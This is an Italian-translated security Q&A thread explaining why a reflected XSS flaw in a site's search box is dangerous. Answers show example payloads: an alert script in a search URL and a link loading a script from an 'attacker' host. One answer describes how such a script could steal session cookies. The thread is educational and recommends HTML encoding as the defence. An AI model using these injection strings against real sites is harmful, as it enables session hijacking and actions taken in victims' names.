Tipico attacco XSS della casella di ricerca

4

Quando sviluppo un sito, sono sempre consapevole dei difetti di sicurezza, ma sto cercando di capire come mai una casella di ricerca potrebbe essere utilizzata per iniettare uno script che potrebbe essere eseguito su una mia pagina.

Quindi capisco che, a causa della mancanza di sterilizzazione, l'input può essere aggiunto al mio DOM. Ma - e allora? Non mi aspetto mai che un utente utilizzi javascript come termine di ricerca, quindi non tenterò mai di eseguirlo sulla mia pagina. Lo tratterò come una stringa e quindi si comporterà sempre come uno. O mi manca qualcosa di fondamentale qui?

L'unica volta che aggiungo qualche input alla pagina è se rendo No search results found for "<script>malicious();</script>" , ma non permetterò mai che il termine di ricerca venga eseguito.

Che cosa sto fraintendendo qui?

In effetti, se qualcuno può spiegare oltre al concetto della casella di ricerca, sono contento di questo. Sto lottando per afferrare l'ultima parte di un attacco XSS.

    
posta 09.04.2016 - 16:32
fonte

3 risposte

6

L'obiettivo di un attacco XSS è che un utente malintenzionato in qualche modo inserisca il codice in una pagina Web che viene pubblicata dal tuo sito. Questo codice è privilegiato nel senso che, poiché è stato pubblicato dal tuo sito, lo stesso criterio di origine consente di accesso completo ai cookie del tuo sito e ai contenuti della pagina web che hai offerto.

Quindi, se il tuo sito risponde a una richiesta come

http://example.com/search?q=<script>alert(1)</script>

restituendo questo HTML

<body>No search results found for "<script>alert(1);</script>"</body>

allora quello script verrà eseguito e vedrai la finestra di avviso. Questa è una vulnerabilità XSS. D'altra parte, se il tuo sito restituisce:

<body>No search results found for "&lt;script&gt;alert(1);&lt;/script&gt;"</body>

Quindi hai almeno una certa protezione contro gli attacchi XSS.

In un attacco reale, l'utente malintenzionato non utilizza alert , ma tenta di eseguire un'azione sul tuo sito come utente che ha effettuato l'accesso o rubare dati dalla pagina o dai cookie dell'utente. Dovresti leggere il OWASP XSS Cheat Sheet per ottenere una spiegazione più completa e una presentazione dettagliata di come eseguire l'escape appropriato per prevenire le vulnerabilità XSS.

    
risposta data 09.04.2016 - 18:25
fonte
2

Immagina il seguente scenario:

  • L'utente è connesso al tuo sito, cioè ha un cookie di sessione.
  • L'utente visita un link al tuo sito controllato dall'hacker. Tale link potrebbe essere incorporato in un sito controllato dall'hacker come <img src=http://your-site/... . O potrebbe essere all'interno di una mail, all'interno di un annuncio (vedi malvertising ) o simile.
  • Il collegamento utilizza il problema XSS nella casella di ricerca per inserire codice nel sito, ad esempio http://your-site/search?q=This+will+not+be+found+<script+src=http://attacker/bad.js> .

input may be added to my DOM. But - so what?

Lo script controllato da attaccante viene ora eseguito nel contesto del tuo sito . Ciò significa che lo script ha accesso al DOM completo ea tutti i cookie che non hanno il flag httpOnly impostato. Lo script può fare qualsiasi cosa all'interno del sito, come:

  • Invio del cookie di sessione all'autore dell'attacco in modo tale da poter eseguire il dirottamento di sessione.
  • Esecuzione di alcune azioni poiché l'utente che ha effettuato l'accesso gradisce pubblicare articoli offensivi o peggio. Cioè qualsiasi cosa l'utente possa fare sul tuo sito.
risposta data 09.04.2016 - 18:22
fonte
1

I never expect a user to use javascript as a search term

E probabilmente gli utenti non lo faranno (a seconda del tipo di sito web che possiedi).

Ma gli attaccanti lo faranno.

E cercheranno di convincere le vittime a cercare il codice JavaScript dannoso (ad esempio inviando loro un collegamento), che verrà poi eseguito nel contesto del browser delle vittime. Ciò significa che l'utente malintenzionato può ora leggere tutti i dati che il tuo sito Web visualizza all'utente, possono modificare il modo in cui il tuo sito web guarda all'utente, possono eseguire qualsiasi azione sul tuo sito web nel nome dell'utente, ecc.

so I'll never attempt to run it on my page.
but I'll never let the search term run.

destro. Ma come hai intenzione di farlo? Se un utente malintenzionato cerca <script>alert(1);</script> , come fa a garantire che questo codice JavaScript non venga eseguito dal browser a cui viene inviato?

I'll treat it as a string, and so it will only ever behave like one.

Ma tutto ciò che si invia al client viene trattato come una stringa e gli script verranno comunque eseguiti.

Quello che devi fare (nella maggior parte dei casi) è codificare l'input in HTML. In questo modo, viene trattato come un normale testo e non trattato come codice HTML.

Per ulteriori informazioni su prevenire XSS o generale informazioni su XSS come i diversi tipi, esempi, ecc., vedi ad esempio OWASP.

    
risposta data 10.04.2016 - 13:00
fonte

Leggi altre domande sui tag